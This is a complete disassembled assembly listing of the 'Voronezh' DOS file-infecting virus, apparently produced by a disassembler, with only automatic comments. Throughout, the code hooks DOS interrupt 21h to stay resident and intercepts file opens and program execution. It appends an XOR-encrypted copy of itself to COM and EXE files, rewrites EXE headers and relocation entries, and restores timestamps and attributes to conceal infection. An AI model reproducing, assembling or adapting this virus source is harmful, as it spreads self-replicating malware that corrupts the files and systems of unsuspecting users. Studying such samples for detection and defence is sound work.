PAGE  59,132

;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ								         ÛÛ
;ÛÛ			        VORONEZH			         ÛÛ
;ÛÛ								         ÛÛ
;ÛÛ      Created:   2-Mar-91					         ÛÛ
;ÛÛ      Passes:    5	       Analysis Options on: AJW		         ÛÛ
;ÛÛ								         ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

data_1e		equ	1C2h
data_5e		equ	3
data_6e		equ	0
data_7e		equ	2
data_46e	equ	100h

seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a


		org	100h

voronezh	proc	far

start:
		mov	ax,ds
		push	cs
		pop	ds
		push	ax
		call	sub_1

voronezh	endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_1		proc	near
		pop	bx
		sub	bx,108h
		push	bx
		mov	ah,0ABh
		int	21h			; ??INT Non-standard interrupt
		cmp	ax,5555h
		jne	loc_1			; Jump if not equal
		jmp	loc_10
loc_1:
		mov	ax,es
		sub	ax,1
		mov	ds,ax
		mov	bx,data_5e
		mov	ax,ds:[bx]
		sub	ax,0EAh
		mov	ds:[bx],ax
		push	es
		pop	ds
		mov	bx,data_7e
		mov	ax,ds:[bx]
		sub	ax,0EAh
		mov	ds:[bx],ax
		mov	es,ax
		mov	di,data_46e
		mov	si,100h
		pop	bx
		push	bx
		add	si,bx
		push	cs
		pop	ds
		mov	cx,6A4h
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		mov	dx,ax
		jmp	short loc_9
		nop
		pushf				; Push flags
		sti				; Enable interrupts
		cmp	ah,0ABh
		jne	loc_2			; Jump if not equal
		mov	ax,5555h
		popf				; Pop flags
		iret				; Interrupt return
loc_2:
		cmp	ax,3D00h
		jne	loc_5			; Jump if not equal
		push	ax
		push	bx
		push	cx
		push	dx
		push	si
		push	di
		push	es
		mov	cx,41h
		xor	al,al			; Zero register
		mov	di,dx
		push	ds
		pop	es
		repne	scasb			; Rep zf=0+cx >0 Scan es:[di] for al
		sub	di,4
		mov	si,di
		push	si
		push	cs
		pop	es
		mov	cx,4
		mov	di,289h
		repe	cmpsb			; Rep zf=1+cx >0 Cmp [si] to es:[di]
		cmp	cx,0
		jne	loc_3			; Jump if not equal
		pop	si
		jmp	short loc_4
		nop
loc_3:
		mov	di,28Ch
		mov	cx,4
		pop	si
		repe	cmpsb			; Rep zf=1+cx >0 Cmp [si] to es:[di]
		cmp	cx,0
loc_4:
		pop	es
		pop	di
		pop	si
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		jz	loc_6			; Jump if zero
loc_5:
		push	ax
		inc	ah
		cmp	ax,4C00h
		pop	ax
		jnz	loc_8			; Jump if not zero
loc_6:
		push	ax
		push	bx
		push	cx
		push	dx
		push	si
		push	di
		push	es
		push	ds
		jmp	loc_16
loc_7:
		pop	ds
		pop	es
		pop	di
		pop	si
		pop	dx
		pop	cx
		pop	bx
		pop	ax
loc_8:
		popf				; Pop flags
;*		jmp	far ptr loc_49
		db	0EAh,0B5h, 02h, 46h,0D5h
loc_9:
		mov	ds,dx
		mov	ax,3521h
		int	21h			; DOS Services  ah=function 35h
						;  get intrpt vector al in es:bx
		mov	ds:data_1e,bx
		db	 3Eh, 8Ch, 06h,0C4h, 01h, 3Eh
		db	 89h, 1Eh, 75h, 03h, 3Eh, 8Ch
		db	 06h, 77h, 03h, 8Dh, 16h, 53h
		db	 01h,0B8h, 21h, 25h,0CDh
		db	21h
loc_10:
		pop	dx
		mov	bx,offset data_18
		add	bx,dx
		cmp	byte ptr cs:[bx],0
		je	loc_12			; Jump if equal
		pop	ds
		mov	ax,ds
		push	cs
		pop	ds
		mov	cx,dx
		pop	di
		pop	es
		push	ax
		sub	di,5
		mov	si,offset data_17
		add	si,cx
		mov	dl,[si]
		add	es:[di+5],dl
		cmp	es:[di+5],dl
		ja	loc_11			; Jump if above
		dec	si
		inc	byte ptr [si]
loc_11:
		mov	dx,di
		mov	si,offset data_16
		add	si,cx
		mov	cx,5
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		pop	ds
		push	es
		push	dx
		mov	ax,ds
		mov	es,ax
		xor	ax,ax			; Zero register
		xor	bx,bx			; Zero register
		xor	cx,cx			; Zero register
		xor	dx,dx			; Zero register
		xor	si,si			; Zero register
		xor	di,di			; Zero register
		retf				; Return far
loc_12:
		mov	ax,cs
		mov	ds,ax
		mov	es,ax
		mov	si,268h
		mov	cx,100h
		mov	bx,281h
		mov	di,[bx]
		cmp	di,0
		jne	loc_13			; Jump if not equal
		int	20h			; DOS program terminate
loc_13:
		mov	bx,283h
		mov	ax,[bx]
		add	di,ax
		add	di,100h
		cld				; Clear direction
		push	di
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		pop	di
		mov	cx,word ptr ds:[283h]
		mov	ax,word ptr ds:[281h]
		push	di
		retn
		add	ax,100h
		mov	si,ax
		mov	di,100h
		cld				; Clear direction

locloop_14:
		mov	al,[si]
		xor	al,0BBh
		mov	[di],al
		inc	si
		inc	di
		loop	locloop_14		; Loop if cx > 0

		mov	ax,offset start
		pop	bx
		push	ax
		retn
		inc	ax
		push	es
		inc	ax
		push	es
		push	si
		add	ax,0E2Bh
		inc	bp
		pop	ax
		inc	bp
		db	 65h, 78h, 65h, 55h, 76h, 7Fh
		db	'ctsqu`Voronezh,1990 2.01'
data_16		db	90h
		db	0B8h, 7Fh, 0Eh, 8Eh
data_17		db	0
data_18		db	0
data_19		dw	200h
data_20		dw	14Dh
data_21		db	0, 0, 0, 0, 0
data_22		dw	0
data_23		dw	34Dh
data_24		dw	0
data_25		dw	5D0h
data_26		db	9Ah
data_27		dw	5D0h
data_28		dw	0
data_29		dw	0
data_30		dw	1Eh
data_31		dw	100h
data_32		dw	100h
data_33		db	5
data_34		dw	20h
data_35		dw	0A956h
data_36		dw	41B9h

loc_ret_15:
		iret				; Interrupt return
loc_16:
		mov	bx,dx
		mov	ax,ds:[bx+3]
		cmp	ax,4F43h
		jne	$+5			; Jump if not equal
		jmp	loc_7
sub_1		endp

		mov	di,dx
		xor	ax,ax			; Zero register
		mov	cs:data_33,0
		db	 3Eh, 80h, 7Dh, 01h, 3Ah
		db	 75h, 09h, 3Eh, 8Ah, 05h, 24h
		db	 9Fh, 2Eh,0A2h,0CFh, 02h
loc_18:
		mov	ax,4300h
		int	21h			; DOS Services  ah=function 43h
						;  get attrb cx, filename @ds:dx
		mov	cs:data_34,cx
		mov	cs:data_35,ds
		mov	cs:data_36,dx
		push	ds
		push	dx
		push	es
		push	cs
		pop	ds
		mov	ax,3524h
		int	21h			; DOS Services  ah=function 35h
						;  get intrpt vector al in es:bx
		mov	word ptr ds:[285h],bx
		mov	word ptr ds:[287h],es
		mov	dx,offset loc_ret_15
		mov	ax,2524h
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
		pop	es
		pop	dx
		pop	ds
		push	ds
		push	cs
		pop	ds
		mov	bx,100h
		mov	cx,740h
		sub	cx,bx
		mov	bx,283h
		mov	[bx],cx
		pop	ds
		mov	bx,dx
		push	ds
		push	dx
		push	bx
		push	cs
		pop	ds
		mov	ah,36h			; '6'
		mov	dl,data_33
		int	21h			; DOS Services  ah=function 36h
						;  get drive info, drive dl,1=a:
						;   returns ax=clust per sector
						;   bx=avail clust,cx=bytes/sect
						;   dx=clusters per drive
		cmp	ax,0FFFFh
		jne	loc_24			; Jump if not equal
loc_23:
		pop	ax
		pop	ax
		pop	ax
		call	sub_3
		jmp	loc_7
loc_24:
		mul	bx			; dx:ax = reg * ax
		mul	cx			; dx:ax = reg * ax
		or	dx,dx			; Zero ?
		jnz	loc_25			; Jump if not zero
		cmp	ax,word ptr ds:[283h]
		jb	loc_23			; Jump if below
loc_25:
		pop	bx
		pop	dx
		pop	ds
		mov	ax,3D00h
		pushf				; Push flags
		cli				; Disable interrupts
;*		call	far ptr sub_5
		db	 9Ah,0B5h, 02h, 46h,0D5h
		jnc	loc_26			; Jump if carry=0
		call	sub_3
		jmp	loc_7
loc_26:
		push	ax
		mov	ax,cs
		mov	ds,ax
		mov	es,ax
		pop	ax
		push	ax
		mov	bx,ax
		mov	ax,5700h
		int	21h			; DOS Services  ah=function 57h
						;  get file date+time, bx=handle
						;   returns cx=time, dx=time
		pop	ax
		push	cx
		push	dx
		push	ax
		mov	bx,ax
		mov	cx,0
		mov	dx,0
		mov	ah,42h			; 'B'
		mov	al,2
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		mov	bx,281h
		mov	[bx],ax
		mov	bx,283h
		mov	cx,[bx]
		mov	cx,0
		mov	dx,0
		mov	ax,4200h
		pop	bx
		push	bx
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		mov	bx,283h
		mov	cx,[bx]
		pop	bx
		push	bx
		mov	dx,offset data_37
		mov	ah,3Fh			; '?'
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, bx=file handle
						;   cx=bytes to ds:dx buffer
		mov	si,offset data_37
		mov	cx,[si]
		cmp	cx,0D88Ch
		jne	loc_27			; Jump if not equal
		pop	bx
		pop	ax
		pop	ax
		call	sub_2
		jmp	loc_7
loc_27:
		cmp	cx,5A4Dh
		je	loc_28			; Jump if equal
		jmp	loc_44
loc_28:
		pop	bx
		push	bx
		mov	ax,4200h
		xor	cx,cx			; Zero register
		xor	dx,dx			; Zero register
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		mov	cx,32h
		mov	ax,3F00h
		lea	dx,data_37		; Load effective addr
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, bx=file handle
						;   cx=bytes to ds:dx buffer
		mov	ax,data_39
		mov	cx,4
		mul	cx			; dx:ax = reg * ax
		mov	bx,data_44
		add	ax,bx
		mov	dx,ax
		mov	di,dx
		mov	ax,data_40
		mov	cx,10h
		mul	cx			; dx:ax = reg * ax
		mov	dx,di
		add	dx,4
		cmp	ax,dx
		ja	loc_29			; Jump if above
		jmp	loc_43
loc_29:
		mov	data_19,ax
		mov	ax,data_39
		inc	ax
		mov	data_39,ax
		mov	ax,data_42
		mov	data_20,ax
		mov	ax,data_43
		mov	word ptr data_21,ax
		xor	dx,dx			; Zero register
		xor	cx,cx			; Zero register
		mov	ax,4202h
		pop	bx
		push	bx
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		push	ax
		push	dx
		add	ax,word ptr ds:[283h]
		cmp	ax,word ptr ds:[283h]
		ja	loc_30			; Jump if above
		inc	dx
loc_30:
		mov	cx,200h
		div	cx			; ax,dx rem=dx:ax/reg
		cmp	dx,0
		je	loc_31			; Jump if equal
		inc	ax
loc_31:
		mov	bx,data_38
		mov	cx,ax
		sub	cx,bx
		cmp	cx,5
		jb	loc_32			; Jump if below
		pop	ax
		pop	ax
		jmp	loc_43
loc_32:
		mov	data_38,ax
		pop	dx
		pop	ax
		mov	bx,data_19
		cmp	ax,bx
		jb	loc_33			; Jump if below
		sub	ax,bx
		jmp	short loc_34
		nop
loc_33:
		sub	ax,bx
		dec	dx
loc_34:
		mov	data_24,dx
		mov	data_25,ax
		mov	ax,data_19
		mov	bx,data_20
		mov	dx,0
		add	ax,bx
		cmp	ax,bx
		ja	loc_35			; Jump if above
		inc	dx
loc_35:
		mov	si,ax
		mov	di,dx
		mov	ax,word ptr data_21
		mov	cx,10h
		mul	cx			; dx:ax = reg * ax
		add	di,dx
		add	si,ax
		cmp	si,ax
		ja	loc_36			; Jump if above
		inc	di
loc_36:
		mov	ax,si
		mov	dx,di
		mov	data_22,dx
		mov	data_23,ax
		mov	cx,dx
		mov	dx,ax
		mov	ax,4200h
		mov	data_18,1
		mov	data_17,0
		pop	bx
		push	bx
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		mov	cx,5
		lea	dx,data_16		; Load effective addr
		mov	ax,3F00h
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, bx=file handle
						;   cx=bytes to ds:dx buffer
		cmp	data_16,9Ah
		jne	loc_37			; Jump if not equal
		jmp	loc_43
loc_37:
		call	sub_4
		mov	bx,data_44
		mov	ax,data_39
		dec	ax
		mov	cx,4
		mul	cx			; dx:ax = reg * ax
		add	bx,ax
		mov	cx,0
		mov	dx,bx
		mov	ax,4200h
		pop	bx
		push	bx
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		mov	dx,data_20
		add	dx,3
		mov	data_20,dx
		lea	dx,data_20		; Load effective addr
		mov	cx,4
		mov	ah,40h			; '@'
		pop	bx
		push	bx
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		mov	dx,data_20
		sub	dx,3
		mov	data_20,dx
		xor	dx,dx			; Zero register
		xor	cx,cx			; Zero register
		mov	ax,4200h
		pop	bx
		push	bx
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		mov	cx,data_44
		lea	dx,data_37		; Load effective addr
		mov	ah,40h			; '@'
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		mov	data_26,9Ah
		mov	ax,data_25
		mov	data_27,ax
		mov	ax,data_24
		mov	cx,1000h
		mul	cx			; dx:ax = reg * ax
		mov	data_28,ax
		cmp	data_27,0F000h
		jb	loc_38			; Jump if below
		mov	ax,data_27
		mov	dx,data_28
		add	dx,100h
		sub	ax,1000h
		mov	data_28,dx
		mov	data_27,ax
loc_38:
		mov	cx,data_22
		mov	dx,data_23
		mov	ax,4200h
		pop	bx
		push	bx
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		mov	cx,5
		mov	ah,40h			; '@'
		lea	dx,data_26		; Load effective addr
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		mov	cx,0
		mov	dx,0
		mov	ax,4202h
		pop	bx
		push	bx
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		mov	ah,40h			; '@'
		mov	cx,word ptr ds:[283h]
		mov	dx,100h
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		xor	cx,cx			; Zero register
		mov	dx,data_44
		mov	ax,4200h
		pop	bx
		push	bx
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		mov	data_32,0
		mov	data_29,dx
		mov	data_30,ax
		mov	ax,data_39
		mov	di,0
		dec	ax
		cmp	ax,0
		jne	loc_39			; Jump if not equal
		jmp	loc_43
loc_39:
		mov	cx,4
		mul	cx			; dx:ax = reg * ax
		mov	si,ax
loc_40:
		mov	cx,0
		mov	dx,0
		mov	ax,4201h
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		mov	data_29,dx
		mov	data_30,ax
		mov	cx,100h
		mov	dx,data_6e
		mov	ax,3F00h
		int	21h			; DOS Services  ah=function 3Fh
						;  read file, bx=file handle
						;   cx=bytes to ds:dx buffer
		mov	di,data_6e
		mov	data_31,ax
		add	data_32,ax
loc_41:
		mov	ax,[di+2]
		cmp	ax,word ptr data_21
		jne	loc_42			; Jump if not equal
		mov	ax,[di]
		cmp	ax,data_20
		jb	loc_42			; Jump if below
		mov	ax,data_20
		add	ax,5
		cmp	ax,[di]
		jbe	loc_42			; Jump if below or =
		mov	ax,data_28
		mov	[di+2],ax
		mov	ax,[di]
		mov	bx,data_20
		sub	ax,bx
		push	ax
		mov	ax,2AAh
		sub	ax,100h
		mov	bx,data_27
		add	ax,bx
		pop	bx
		add	ax,bx
		mov	[di],ax
		mov	cx,data_29
		mov	dx,data_30
		mov	ax,4200h
		pop	bx
		push	bx
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		mov	cx,data_31
		mov	ah,40h			; '@'
		pop	bx
		push	bx
		mov	dx,data_6e
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		jmp	short loc_43
		nop
loc_42:
		add	di,4
		mov	ax,data_32
		sub	ax,100h
		add	ax,di
		cmp	ax,si
		je	loc_43			; Jump if equal
		cmp	di,data_31
		jb	loc_41			; Jump if below
		jmp	loc_40
loc_43:
		jmp	short loc_48
		nop
loc_44:
		mov	cx,word ptr ds:[281h]
		cmp	cx,0EE48h
		jb	loc_46			; Jump if below
loc_45:
		pop	bx
		pop	ax
		pop	ax
		call	sub_2
		jmp	loc_7
loc_46:
		cmp	cx,word ptr ds:[283h]
		jb	loc_45			; Jump if below
		call	sub_4
		mov	data_18,0
		mov	dx,0
		mov	cx,0
		mov	ax,4202h
		pop	bx
		push	bx
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		mov	si,283h
		mov	cx,[si]
		mov	ah,40h			; '@'
		push	cx
		mov	bx,offset data_37

locloop_47:
		mov	al,[bx]
		xor	al,0BBh
		mov	[bx],al
		inc	bx
		loop	locloop_47		; Loop if cx > 0

		pop	cx
		pop	bx
		push	bx
		mov	dx,offset data_37
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
		mov	ax,4200h
		mov	dx,0
		mov	cx,0
		int	21h			; DOS Services  ah=function 42h
						;  move file ptr, bx=file handle
						;   al=method, cx,dx=offset
		mov	bx,110h
		mov	si,283h
		mov	cx,[si]
		mov	dx,100h
		mov	ah,40h			; '@'
		pop	bx
		push	bx
		int	21h			; DOS Services  ah=function 40h
						;  write file  bx=file handle
						;   cx=bytes from ds:dx buffer
loc_48:
		pop	bx
		pop	dx
		pop	cx
		push	bx
		mov	ax,5701h
		int	21h			; DOS Services  ah=function 57h
						;  set file date+time, bx=handle
						;   cx=time, dx=time
		mov	dx,data_36
		mov	ds,data_35
		mov	ax,4301h
		mov	cx,cs:data_34
		int	21h			; DOS Services  ah=function 43h
						;  set attrb cx, filename @ds:dx
		push	cs
		pop	ds
		pop	bx
		call	sub_2
		jmp	loc_7

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_2		proc	near
		mov	ax,3E00h
		int	21h			; DOS Services  ah=function 3Eh
						;  close file, bx=file handle

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

sub_3:
		mov	bx,word ptr ds:[285h]
		mov	es,word ptr ds:[287h]
		mov	ax,2524h
		int	21h			; DOS Services  ah=function 25h
						;  set intrpt vector al to ds:dx
		retn
sub_2		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_4		proc	near
		push	bp
		mov	bp,sp
		push	ds
		mov	ax,4301h
		mov	dx,data_36
		mov	ds,data_35
		xor	cx,cx			; Zero register
		int	21h			; DOS Services  ah=function 43h
						;  set attrb cx, filename @ds:dx
		jnc	$+8			; Jump if carry=0
		pop	ds
		pop	bp
		pop	ax
		jmp	loc_43
sub_4		endp

		db	 36h, 8Bh, 5Eh, 04h,0B8h, 00h
		db	 3Eh,0CDh, 21h,0B8h, 02h, 3Dh
		db	0FAh, 9Ch, 2Eh,0FFh, 1Eh,0C2h
		db	 01h, 1Fh, 36h, 89h, 46h, 04h
		db	 5Dh,0C3h
data_37		db	3
		db	0BBh,0F7h, 76h
data_38		dw	0BB9Ah
data_39		dw	0BBBBh
data_40		dw	0BBBBh
		db	10 dup (0BBh)
data_42		dw	0BBBBh
data_43		dw	0BBBBh
data_44		dw	0BBBBh
		db	1574 dup (0BBh)

seg_a		ends



		end	start